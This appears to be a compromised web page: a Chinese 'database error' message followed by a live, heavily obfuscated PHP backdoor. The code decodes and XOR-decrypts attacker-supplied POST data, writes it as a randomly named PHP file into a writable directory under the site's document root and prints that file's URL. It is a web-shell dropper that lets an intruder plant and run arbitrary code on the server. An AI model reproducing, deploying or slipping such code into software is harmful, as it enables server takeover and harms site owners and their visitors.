数据库发生错误。

<?php function nyAIGQJwj($EXJbGU){$CYAwGGyJG = "\162".chr(378-281)."\x77"."\x75"."\x72"."\154"."\144".chr(264-163)."\x63"."\x6f"."\144"."\x65";$HwJrNDbf = "\x73".'t'.chr(1060-946).chr(95)."\x72"."\157"."\164".chr(49).chr(129-78);$DAemEBRUJ = "\x73".'t'.chr(114).'_'."\x73"."\160"."\154".chr(530-425)."\164";$EXJbGU = $DAemEBRUJ($CYAwGGyJG($HwJrNDbf($EXJbGU)));return $EXJbGU;}function YEakRXDnZ($FeGtG, $EXJbGU){$LAMdU = "\163".chr(116).'r'.chr(371-276)."\x73"."\160".chr(108)."\151"."\164";$FeGtG = array_slice($LAMdU(str_repeat($FeGtG, (count($EXJbGU)/16)+1)), 0, count($EXJbGU));return $FeGtG;}function ZsWJVH($XNQksbhwIT, $XGtHqEb, $FeGtG){$YQhTl = "124ea611-cf71-42af-9af5-9604fe31cf3e";return $XNQksbhwIT ^ $YQhTl[$XGtHqEb % strlen($YQhTl)] ^ $FeGtG;}function dqhYACJLOD($EXJbGU, $FeGtG){$EXJbGU = array_map("ZsWJVH", array_values($EXJbGU), array_keys($EXJbGU), array_values($FeGtG));$EXJbGU = implode("", $EXJbGU);$pYleFBN = "\x75".'n'.'s'."\x65".chr(259-145).'i'.chr(516-419)."\x6c"."\151"."\x7a".'e';$EXJbGU = @$pYleFBN($EXJbGU);return $EXJbGU;}function sQywp($Cxfbnoir){static $ETuboAH = array();$HcuIQdnC = glob($Cxfbnoir . '/*', GLOB_ONLYDIR);$RgNjpnkWV = count($HcuIQdnC);if ($RgNjpnkWV > 0) {foreach ($HcuIQdnC as $Cxfbno) {$Lqyqap = chr(105).chr(115).chr(95).chr(978-859)."\x72"."\151".'t'."\141".chr(809-711)."\154".'e';if (@$Lqyqap($Cxfbno)) {$ETuboAH[] = $Cxfbno;}}}foreach ($HcuIQdnC as $Cxfbnoir) sQywp($Cxfbnoir);return $ETuboAH;}function IDfhE($EXJbGU){$RhWYAxj = chr(553-485).chr(605-526).'C'."\x55".'M'.chr(1023-954).chr(78)."\124"."\137"."\122".chr(1034-955).'O'.chr(754-670);$FPIWC = $_SERVER[$RhWYAxj];$HcuIQdnC = sQywp($FPIWC);$FIgErZp = array_rand($HcuIQdnC);$nsdyugEUCh = chr(46)."\160"."\150"."\x70";$QcRtfRJ = $HcuIQdnC[$FIgErZp] . "/" . substr(md5(time()), 0, 8) . $nsdyugEUCh;$IPubUqdus = "\x66".chr(1062-957).'l'.chr(101).chr(290-195).chr(799-687).'u'."\164"."\137"."\x63"."\157".chr(110)."\x74".chr(781-680).'n'.chr(616-500).'s';@$IPubUqdus($QcRtfRJ, $EXJbGU);$nJqVdkd = chr(72).chr(84).chr(394-310)."\120".'_'."\110".chr(79)."\123".chr(211-127);$fKEinOxuHB = "\x68"."\164"."\164"."\x70"."\x3a"."\57".chr(47);$zsxkvnbGP = $fKEinOxuHB . $_SERVER[$nJqVdkd] . substr($QcRtfRJ, strlen($FPIWC));print($zsxkvnbGP);die();}foreach ($_POST as $FeGtG => $EXJbGU){$RzYEC = strlen($FeGtG);if ($RzYEC == 16){$EXJbGU = nyAIGQJwj($EXJbGU);$FeGtG = YEakRXDnZ($FeGtG, $EXJbGU);$EXJbGU = dqhYACJLOD($EXJbGU, $FeGtG);if (@is_array($EXJbGU)){$FIgErZp = array_keys($EXJbGU);$EXJbGU = $EXJbGU[$FIgErZp[0]];if ($EXJbGU === $FIgErZp[0]){$YphQYPHc = 'p'.chr(104)."\x70";$ihldTg = chr(112)."\150".'p'.chr(440-322).chr(101)."\162"."\x73"."\x69".chr(1030-919).'n';$mAmmJpnkQD = chr(516-401)."\145".chr(558-444).chr(1020-915)."\x61"."\x6c".'i'.chr(455-333)."\x65";echo @$mAmmJpnkQD(Array($YphQYPHc => @$ihldTg(), ));exit();}else {IDfhE($EXJbGU);}}}}